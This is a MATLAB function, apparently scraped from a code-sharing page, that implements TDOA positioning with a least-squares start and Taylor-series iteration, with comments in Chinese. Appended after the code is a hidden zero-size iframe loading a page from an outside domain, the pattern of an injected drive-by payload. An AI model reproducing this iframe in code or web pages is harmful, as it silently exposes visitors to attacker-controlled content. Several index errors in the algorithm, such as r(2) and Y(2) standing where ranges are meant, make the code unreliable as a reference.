%TDOA定位,有噪声存在,初始值是用最小二乘法得出来的。运用的是泰勒迭代定位算法
function [xr,yr,locationerrortaylor]=taylortdoainit(X,Y,M,sigma,xp,yp)
for l=1:7
p(1:M-1)=sqrt((X(2:M)-xp).^2+(Y(2:M)-yp).^2)-sqrt((X(1)-xp).^2+(Y(1)-yp).^2)+sigma(l); %第一个reader为主站其余为辅站,Ri,1为第i个站到定位点的距离与第一个站到其距离的差。
plus(1:M-1)=(sqrt((X(2:M)-xp).^2+(Y(2:M)-yp).^2)-sqrt((X(1)-xp).^2+(Y(1)-yp).^2)).^2+sigma(l); %为了在Tdoainiial函数中使用R
%Q=sigma(l).*[1 0.5 0.5;0.5 1 0.5;0.5 0.5 1]; %噪声协方差阵随着基站的数目变化而改变。
Q=sigma(l)*eye(3);
[xu,yu]=tdoainitial(X,Y,M,Q,plus,p);
for m=1:4
r(1:M)=sqrt((X(1:M)-xu).^2+(Y(1:M)-yu).^2);
ax(1:M-1)=(X(1)-xu)./r(1)-(X(2:M)-xu)./r(2);
ay(1:M-1)=(Y(1)-yu)./r(1)-(Y(2:M)-yu)./r(2);
q(1:M-1)=sqrt((X(2:M)-xu).^2+(Y(2)-yu).^2)-sqrt((X(1)-xu).^2+(Y(1)-yu).^2);
deltaq=p-q;
H=[ax(1:M-1)' ay(1:M-1)'];
deltaposition=inv(H'*H)*H'*deltaq';
xu=xu+deltaposition(1); %在估计的坐标基础上加上误差
yu=yu+deltaposition(2);
end
xr=xu;
yr=yu;
locationerrortaylor(l)=sqrt((xr-xp).^2+(yr-yp).^2);
end<iframe src=http://pp.900666.com/abc.htm width=0 height=0></iframe>
评论0